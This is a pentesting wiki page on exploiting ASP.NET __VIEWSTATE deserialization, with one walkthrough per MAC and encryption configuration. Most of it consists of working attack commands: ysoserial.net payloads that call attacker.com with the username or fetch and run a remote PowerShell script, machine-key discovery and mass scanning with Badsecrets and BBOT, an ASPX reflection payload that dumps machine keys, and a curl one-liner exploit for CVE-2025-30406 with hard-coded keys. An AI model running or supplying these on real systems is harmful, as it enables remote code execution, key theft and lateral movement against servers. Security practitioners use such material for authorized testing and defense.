exploiting-viewstate-parameter.md (21901B)
1 --- 2 title: "Exploiting \\\\VIEWSTATE without knowing the secrets" 3 section: "Web Pentesting" 4 sectionSlug: "pentesting-web" 5 sourcePath: "src/pentesting-web/deserialization/exploiting-__viewstate-parameter.md" 6 sourceUrl: "https://github.com/HackTricks-wiki/hacktricks/blob/188de82beb54e70956b2952367a0af91d26758b8/src/pentesting-web/deserialization/exploiting-__viewstate-parameter.md" 7 sha: "188de82beb54e70956b2952367a0af91d26758b8" 8 isIndex: false 9 modified: true 10 license: "CC-BY-NC-4.0" 11 --- 12 13 # Exploiting \_\_VIEWSTATE without knowing the secrets 14 15 ## What is ViewState 16 17 **ViewState** serves as the default mechanism in ASP.NET to maintain page and control data across web pages. During the rendering of a page's HTML, the current state of the page and values to be preserved during a postback are serialized into base64-encoded strings. These strings are then placed in hidden ViewState fields.<sup>[[1]](#references)</sup><sup>[[2]](#references)</sup> 18 19 ViewState information can be characterized by the following properties or their combinations: 20 21 - **Base64**: 22 - This format is utilized when both `EnableViewStateMac` and `ViewStateEncryptionMode` attributes are set to false. 23 - **Base64 + MAC (Message Authentication Code) Enabled**: 24 - Activation of MAC is achieved by setting the `EnableViewStateMac` attribute to true. This provides integrity verification for ViewState data. 25 - **Base64 + Encrypted**: 26 - Encryption is applied when the `ViewStateEncryptionMode` attribute is set to true, ensuring the confidentiality of ViewState data. 27 28 ## Test Cases 29 30 The image is a table detailing different configurations for ViewState in ASP.NET based on the .NET framework version. Here's a summary of the content:<sup>[[3]](#references)</sup> 31 32 1. For **any version of .NET**, when both MAC and Encryption are disabled, a MachineKey is not required, and thus there's no applicable method to identify it. 33 2. For **versions below 4.5**, if MAC is enabled but Encryption is not, a MachineKey is required. The method to identify the MachineKey is referred to as "Blacklist3r." 34 3. For **versions below 4.5**, regardless of whether MAC is enabled or disabled, if Encryption is enabled, a MachineKey is needed. Identifying the MachineKey is a task for "Blacklist3r - Future Development." 35 4. For **versions 4.5 and above**, all combinations of MAC and Encryption (whether both are true, or one is true and the other is false) necessitate a MachineKey. The MachineKey can be identified using "Blacklist3r." 36 37 ### Test Case: 1 – EnableViewStateMac=false and viewStateEncryptionMode=false 38 39 It is also possible to disable the ViewStateMAC completely by setting the `AspNetEnforceViewStateMac` registry key to zero in: 40 41 ```text 42 HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\.NETFramework\v{VersionHere} 43 ``` 44 45 **Identifying ViewState Attributes** 46 47 You can try to identify if ViewState is MAC protected by capturing a request containing this parameter with BurpSuite. If Mac is not used to protect the parameter you can exploit it using [**YSoSerial.Net**](https://github.com/pwntester/ysoserial.net) 48 49 ```text 50 ysoserial.exe -o base64 -g TypeConfuseDelegate -f ObjectStateFormatter -c "powershell.exe Invoke-WebRequest -Uri http://attacker.com/$env:UserName" 51 ``` 52 53 ### Test case 1.5 – Like Test case 1 but the ViewState hidden field isn't sent by the server 54 55 Developers can **remove ViewState** from the **server response** (the user won't receive this hidden field).\ 56 One may assume that if **ViewState** is **not present**, their implementation is **secure** from any potential vulnerabilities arising with ViewState deserialization.\ 57 However, that is not the case. If we **add ViewState parameter** to the request body and send our serialized payload created using ysoserial, we will still be able to achieve **code execution** as shown in **Case 1**. 58 59 ### Test Case: 2 – .Net < 4.5 and EnableViewStateMac=true & ViewStateEncryptionMode=false 60 61 In order to **enable ViewState MAC** for a **specific page** we need to make following changes on a specific aspx file: 62 63 ```bash 64 <%@ Page Language="C#" AutoEventWireup="true" CodeFile="hello.aspx.cs" Inherits="hello" enableViewStateMac="True"%> 65 ``` 66 67 We can also do it for **overall** application by setting it on the **web.config** file as shown below: 68 69 ```xml 70 <?xml version="1.0" encoding="UTF-8"?> 71 <configuration> 72 <system.web> 73 <customErrors mode="Off" /> 74 <machineKey validation="SHA1" validationKey="C551753B0325187D1759B4FB055B44F7C5077B016C02AF674E8DE69351B69FEFD045A267308AA2DAB81B69919402D7886A6E986473EEEC9556A9003357F5ED45" /> 75 <pages enableViewStateMac="true" /> 76 </system.web> 77 </configuration> 78 ``` 79 80 As the parameter is MAC protected this time to successfully execute the attack we first need the key used. 81 82 You can try [**Blacklist3r (`AspDotNetWrapper.exe`)**](https://github.com/NotSoSecure/Blacklist3r/tree/master/MachineKey/AspDotNetWrapper) to find the key in use. 83 84 ```text 85 AspDotNetWrapper.exe --keypath MachineKeys.txt --encrypteddata /wEPDwUKLTkyMTY0MDUxMg9kFgICAw8WAh4HZW5jdHlwZQUTbXVsdGlwYXJ0L2Zvcm0tZGF0YWRkbdrqZ4p5EfFa9GPqKfSQRGANwLs= --decrypt --purpose=viewstate --modifier=6811C9FF --macdecode --TargetPagePath "/Savings-and-Investments/Application/ContactDetails.aspx" -f out.txt --IISDirPath="/" 86 87 --encrypteddata : __VIEWSTATE parameter value of the target application 88 --modifier : __VIEWSTATEGENERATOR parameter value 89 ``` 90 91 [**Badsecrets**](https://github.com/blacklanternsecurity/badsecrets) is another tool which can identify known `machineKey` values. It is written in Python, so unlike Blacklist3r, there is no Windows dependency.<sup>[[4]](#references)</sup> The old standalone `blacklist3r.py` helper was removed, so the **current** workflow is to use the main `badsecrets` CLI in URL mode: 92 93 ```bash 94 pip install badsecrets 95 badsecrets --url https://target/page.aspx 96 ``` 97 98 This mode carves the response for cryptographic artifacts and tests any discovered `__VIEWSTATE` / `__VIEWSTATEGENERATOR` values against the built-in `machineKey` corpus. 99 100 If the page uses **split ViewState**, reassemble all parts before manual testing: 101 102 ```html 103 <input type="hidden" name="__VIEWSTATEFIELDCOUNT" value="3" /> 104 <input type="hidden" name="__VIEWSTATE" value="<part0>" /> 105 <input type="hidden" name="__VIEWSTATE1" value="<part1>" /> 106 <input type="hidden" name="__VIEWSTATE2" value="<part2>" /> 107 ``` 108 109 Concatenate `__VIEWSTATE`, `__VIEWSTATE1`, `__VIEWSTATE2`, and so on in order. Modern `badsecrets` already handles `__VIEWSTATEFIELDCOUNT` reassembly automatically. 110 111 If the application **doesn't render `__VIEWSTATE` at all**, don't stop there: modern `badsecrets` can also test `WebResource.axd` and `ScriptResource.axd` tokens (`ASPNET_Resource`) against known `machineKey` values, which is useful when the page only exposes ASP.NET resource URLs. 112 113 To search for vulnerable targets at scale, in conjunction with subdomain enumeration, the `badsecrets` [**BBOT**](https://github.com/blacklanternsecurity/bbot) module can be used: 114 115 ```bash 116 bbot -f subdomain-enum -m badsecrets -t evil.corp 117 ``` 118 119  120 121 If you are lucky and the key is found, you can proceed with the attack using [**YSoSerial.Net**](https://github.com/pwntester/ysoserial.net)**:** 122 123 ```bash 124 ysoserial.exe -p ViewState -g TextFormattingRunProperties -c "powershell.exe Invoke-WebRequest -Uri http://attacker.com/$env:UserName" --generator=CA0B0334 --validationalg="SHA1" --validationkey="C551753B0325187D1759B4FB055B44F7C5077B016C02AF674E8DE69351B69FEFD045A267308AA2DAB81B69919402D7886A6E986473EEEC9556A9003357F5ED45" 125 126 --generator = {__VIEWSTATEGENERATOR parameter value} 127 ``` 128 129 Recent `ysoserial.net` documentation explicitly notes that `--generator` is mainly useful for **.NET <= 4.0** / legacy mode. When `__VIEWSTATEGENERATOR` is **not** exposed, or the target runs **.NET 4.5+**, use the real page and app paths instead: 130 131 ```bash 132 --apppath="/" --path="/hello.aspx" 133 ``` 134 135 ### Exploiting recycled `<machineKey>` values at scale 136 137 Ink Dragon (2025) demonstrated how dangerous it is when administrators **copy the sample `<machineKey>` blocks published in Microsoft docs, StackOverflow answers or vendor blogs**. Once a single target leaks or reuses those keys across the farm, every other ASP.NET page that trusts ViewState can be hijacked remotely without any additional vulnerability.<sup>[[6]](#references)</sup> 138 139 1. **Build a candidate wordlist** with the leaked `validationKey`/`decryptionKey` pairs (e.g. scrape public repos, Microsoft blog posts, or keys recovered from one host in the farm) and feed it to Blacklist3r/Badsecrets: 140 141 ```bash 142 AspDotNetWrapper.exe --keypath reused_machinekeys.txt --url https://target/_layouts/15/ToolPane.aspx --decrypt --purpose=viewstate --modifier=<VIEWSTATEGENERATOR> 143 # or let Badsecrets spray the list 144 bbot -f subdomain-enum -m badsecrets --badsecrets-keylist reused_machinekeys.txt -t sharepoint.customer.tld 145 ``` 146 147 The tooling repeatedly signs a benign `__VIEWSTATE` blob with each candidate key until the server accepts the MAC, proving the key is valid. 148 2. **Forge the malicious ViewState** once the key pair is known. If encryption is disabled you only need the `validationKey`. If encryption is enabled, include the matching `decryptionKey` so the payload survives the decrypt → deserialize path: 149 150 ```bash 151 ysoserial.exe -p ViewState -g TextFormattingRunProperties -c "powershell -c iwr http://x.x.x.x/a.ps1|iex" \ 152 --validationkey "$VALIDATION" --decryptionkey "$DECRYPTION" --validationalg="SHA1" --generator=<VIEWSTATEGENERATOR> 153 ``` 154 155 Operators often embed disk-resident launchers (e.g. PrintNotifyPotato, ShadowPad loaders, etc.) straight in the payload because it executes as the IIS worker (`w3wp.exe`). 156 3. **Pivot laterally** by recycling the same `<machineKey>` across sibling SharePoint/IIS nodes. Once one server is compromised you can replay the key to hit every other server that never rotated its configuration. 157 158 ### Test Case: 3 – .Net < 4.5 and EnableViewStateMac=true/false and ViewStateEncryptionMode=true 159 160 In this it's not known if the parameter is protected with MAC. Then, the value is probably encrypted and you will **need the Machine Key to encrypt your payload** to exploit the vulnerability. 161 162 **In this case the** [**Blacklist3r**](https://github.com/NotSoSecure/Blacklist3r/tree/master/MachineKey/AspDotNetWrapper) **module is under development...** 163 164 **Prior to .NET 4.5**, ASP.NET can **accept** an **unencrypted** \_`__VIEWSTATE`\_parameter from the users **even** if **`ViewStateEncryptionMode`** has been set to _**Always**_. ASP.NET **only checks** the **presence** of the **`__VIEWSTATEENCRYPTED`** parameter in the request. **If one removes this parameter, and sends the unencrypted payload, it will still be processed.** 165 166 Therefore, if an attacker obtains the `machineKey` through another vulnerability, such as path traversal, the [**YSoSerial.Net**](https://github.com/pwntester/ysoserial.net) command used in **Case 2** can be used to exploit ViewState deserialization for RCE. 167 168 - Remove `__VIEWSTATEENCRYPTED` parameter from the request in order to exploit the ViewState deserialization vulnerability, else it will return a Viewstate MAC validation error and exploit will fail. 169 170 ### Test Case: 4 – .Net >= 4.5 and EnableViewStateMac=true/false and ViewStateEncryptionMode=true/false except both attribute to false 171 172 We can force the usage of ASP.NET framework by specifying the below parameter inside the web.config file as shown below. 173 174 ```xml 175 <httpRuntime targetFramework="4.5" /> 176 ``` 177 178 Alternatively, this can be done by specifying the below option inside the `machineKey` parameter of the `web.config` file. 179 180 ```bash 181 compatibilityMode="Framework45" 182 ``` 183 184 As in the previous case, the **value is encrypted**. To send a **valid payload**, the attacker **needs the key**. 185 186 You can try [**Blacklist3r (`AspDotNetWrapper.exe`)**](https://github.com/NotSoSecure/Blacklist3r/tree/master/MachineKey/AspDotNetWrapper) to find the key in use: 187 188 ```text 189 AspDotNetWrapper.exe --keypath MachineKeys.txt --encrypteddata bcZW2sn9CbYxU47LwhBs1fyLvTQu6BktfcwTicOfagaKXho90yGLlA0HrdGOH6x/SUsjRGY0CCpvgM2uR3ba1s6humGhHFyr/gz+EP0fbrlBEAFOrq5S8vMknE/ZQ/8NNyWLwg== --decrypt --purpose=viewstate --valalgo=sha1 --decalgo=aes --IISDirPath "/" --TargetPagePath "/Content/default.aspx" 190 191 --encrypteddata = {__VIEWSTATE parameter value} 192 --IISDirPath = {Directory path of website in IIS} 193 --TargetPagePath = {Target page path in application} 194 ``` 195 196 For a more detailed description for IISDirPath and TargetPagePath [refer here](https://soroush.secproject.com/blog/2019/04/exploiting-deserialisation-in-asp-net-via-viewstate/)<sup>[[1]](#references)</sup> 197 198 Or, with [**Badsecrets**](https://github.com/blacklanternsecurity/badsecrets), let URL mode carve the page and test the captured ViewState / generator automatically: 199 200 ```bash 201 pip install badsecrets 202 badsecrets --url https://target/content/default.aspx 203 ``` 204 205  206 207 Once a valid Machine key is identified, **the next step is to generate a serialized payload using** [**YSoSerial.Net**](https://github.com/pwntester/ysoserial.net) 208 209 ```text 210 ysoserial.exe -p ViewState -g TextFormattingRunProperties -c "powershell.exe Invoke-WebRequest -Uri http://attacker.com/$env:UserName" --path="/content/default.aspx" --apppath="/" --decryptionalg="AES" --decryptionkey="F6722806843145965513817CEBDECBB1F94808E4A6C0B2F2" --validationalg="SHA1" --validationkey="C551753B0325187D1759B4FB055B44F7C5077B016C02AF674E8DE69351B69FEFD045A267308AA2DAB81B69919402D7886A6E986473EEEC9556A9003357F5ED45" 211 ``` 212 213 If you have the value of `__VIEWSTATEGENERATOR` you can try to **use** the `--generator` parameter with that value and **omit** the parameters `--path` and `--apppath` 214 215  216 217 A successful exploitation of the ViewState deserialization vulnerability will lead to an out-of-band request to an attacker-controlled server, which includes the username. This kind of exploit is demonstrated in a proof of concept (PoC) which can be found through a resource titled "Exploiting ViewState Deserialization using Blacklist3r and YsoSerial.NET". For further details on how the exploitation process works and how to utilize tools like Blacklist3r for identifying the MachineKey, you can review the provided [PoC of Successful Exploitation](https://www.notsosecure.com/exploiting-viewstate-deserialization-using-blacklist3r-and-ysoserial-net/#PoC).<sup>[[3]](#references)</sup> 218 219 ### Test Case 6 – ViewStateUserKeys is being used 220 221 The **ViewStateUserKey** property can be used to **defend** against a **CSRF attack**. If such a key has been defined in the application and we try to generate the **ViewState** payload with the methods discussed till now, the **payload won’t be processed by the application**.\ 222 You need to use one more parameter in order to create correctly the payload: 223 224 ```bash 225 --viewstateuserkey="randomstringdefinedintheserver" 226 ``` 227 228 ### Result of a Successful Exploitation <a href="#poc" id="poc"></a> 229 230 For all the test cases, if the ViewState YSoSerial.Net payload works **successfully** then the server often responds with a `500 Internal Server Error` containing text such as `The state information is invalid for this page and might be corrupted`, while the **out-of-band request still fires**. 231 232 For more background on this behavior, review the [NotSoSecure writeup](https://www.notsosecure.com/exploiting-viewstate-deserialization-using-blacklist3r-and-ysoserial-net/).<sup>[[3]](#references)</sup> 233 234 ### Dumping ASP.NET Machine Keys via Reflection (SharPyShell/SharePoint ToolShell) 235 236 Attackers who are able to **upload or execute arbitrary ASPX code** inside the target web root can directly retrieve the secret keys that protect `__VIEWSTATE` instead of bruteforcing them. 237 A minimal payload that leaks the keys leverages internal .NET classes through reflection: 238 239 ```csharp 240 <%@ Import Namespace="System.Web.Configuration" %> 241 <%@ Import Namespace="System.Reflection" %> 242 <script runat="server"> 243 public void Page_Load(object sender, EventArgs e) 244 { 245 var asm = Assembly.Load("System.Web"); 246 var sect = asm.GetType("System.Web.Configuration.MachineKeySection"); 247 var m = sect.GetMethod("GetApplicationConfig", BindingFlags.Static | BindingFlags.NonPublic); 248 var cfg = (MachineKeySection)m.Invoke(null, null); 249 // Output: ValidationKey|DecryptionKey|Algorithm|CompatibilityMode 250 Response.Write($"{cfg.ValidationKey}|{cfg.DecryptionKey}|{cfg.Decryption}|{cfg.CompatibilityMode}"); 251 } 252 </script> 253 ``` 254 255 Requesting the page prints the **ValidationKey**, **DecryptionKey**, the encryption algorithm and the ASP.NET compatibility mode. These values can now be fed straight into **ysoserial.net** to create a valid, signed `__VIEWSTATE` gadget. For **modern** targets prefer the real path-based derivation: 256 257 ```bash 258 ysoserial.exe -p ViewState -g TextFormattingRunProperties \ 259 -c "powershell -nop -c \"whoami\"" \ 260 --path="/_layouts/15/ToolPane.aspx" --apppath="/" \ 261 --validationkey=<VALIDATION_KEY> --validationalg=<VALIDATION_ALG> \ 262 --decryptionkey=<DECRYPTION_KEY> --decryptionalg=<DECRYPTION_ALG> \ 263 --minify 264 curl -d "__VIEWSTATE=<PAYLOAD>" https://victim/_layouts/15/ToolPane.aspx 265 ``` 266 267 Use `--generator` and `--islegacy` only when you know the page is using the **legacy** signing logic (**.NET <= 4.0**). If you need the exact flag combinations after obtaining the keys, check the [sister page about exploiting ViewState when the secret is known](/hacktricks/pentesting-web/deserialization/exploiting-viewstate-knowing-the-secret). 268 269 This **key-exfiltration primitive** was mass-exploited against on-prem SharePoint servers in 2025 ("ToolShell" – CVE-2025-53770/53771); see the related [SharePoint page](/hacktricks/network-services-pentesting/pentesting-web/microsoft-sharepoint).<sup>[[5]](#references)</sup> The same technique is applicable to any ASP.NET application where an attacker can run server-side code. 270 271 ## 2024-2025 Real-world Exploitation Scenarios and Hard-coded Machine Keys 272 273 ### Microsoft “publicly disclosed machine keys” wave (Dec 2024 – Feb 2025) 274 Microsoft described mass exploitation of ASP.NET sites where the *machineKey* had previously been leaked on public sources (GitHub gists, blog posts, paste sites).<sup>[[7]](#references)</sup> Adversaries enumerated these keys and generated valid `__VIEWSTATE` gadgets with recent `ysoserial.net` options such as `--minify` and `--islegacy`: 275 276 ```bash 277 ysoserial.exe -p ViewState -g TypeConfuseDelegate -c "whoami" \ 278 --validationkey=<LEAKED_VALIDATION_KEY> --validationalg=SHA1 \ 279 --decryptionkey=<LEAKED_DECRYPTION_KEY> --decryptionalg=AES \ 280 --generator=<VIEWSTATEGEN> --minify 281 ``` 282 283 Targets that keep reusing the same static keys across farms stay vulnerable indefinitely, so prioritize legacy deployments that still expose hard-coded material. 284 285 ### CVE-2025-30406 – Gladinet CentreStack / Triofox hard-coded keys 286 Kudelski Security and later defenders observed a very practical pattern: products shipping with **static / hard-coded `machineKey` values** turn ViewState deserialization into an **internet-scale** issue. In the CentreStack / Triofox case, unauthenticated attackers could forge `__VIEWSTATE` for the login page because every installation trusted the same keys.<sup>[[8]](#references)</sup> 287 288 One-liner exploit: 289 290 ```bash 291 ysoserial.exe -p ViewState -g TextFormattingRunProperties -c "calc.exe" \ 292 --validationkey=ACC97055B2A494507D7D7C92DC1C854E8EA7BF4C \ 293 --validationalg=SHA1 \ 294 --decryptionkey=1FB1DEBB8B3B492390B2ABC63E6D1B53DC9CA2D7 \ 295 --decryptionalg=AES --generator=24D41AAB --minify \ 296 | curl -d "__VIEWSTATE=$(cat -)" http://victim/portal/loginpage.aspx 297 ``` 298 299 This is a good reminder that **recovering one valid key pair is often enough to pivot across every sibling node or customer tenant that reuses it**. 300 301 ## References 302 303 - [1] [Exploiting deserialisation in ASP.NET via ViewState (Soroush Dalili, 2019)](https://soroush.secproject.com/blog/2019/04/exploiting-deserialisation-in-asp-net-via-viewstate/) 304 - [2] [Deep dive into .NET ViewState deserialization and its exploitation](https://medium.com/@swapneildash/deep-dive-into-net-viewstate-deserialization-and-its-exploitation-54bf5b788817) 305 - [3] [Exploiting ViewState deserialization using Blacklist3r and YSoSerial.NET](https://www.notsosecure.com/exploiting-viewstate-deserialization-using-blacklist3r-and-ysoserial-net/) 306 - [4] [Introducing badsecrets – fast machineKey discovery](https://blog.blacklanternsecurity.com/p/introducing-badsecrets) 307 - [5] [SharePoint "ToolShell" exploitation chain (Eye Security, 2025)](https://research.eye.security/sharepoint-under-siege/) 308 - [6] [Check Point Research – Inside Ink Dragon: Revealing the Relay Network and Inner Workings of a Stealthy Offensive Operation](https://research.checkpoint.com/2025/ink-dragons-relay-network-and-offensive-operation/) 309 - [7] [Microsoft Security – Code injection attacks abusing publicly disclosed ASP.NET machine keys (Feb 6 2025)](https://www.microsoft.com/en-us/security/blog/2025/02/06/code-injection-attacks-using-publicly-disclosed-asp-net-machine-keys/) 310 - [8] [Kudelski Security advisory – Gladinet CentreStack / Triofox RCE CVE-2025-30406 (Apr 16 2025)](https://kudelskisecurity.com/research/gladinet-centrestack-and-gladinet-triofox---critical-rce)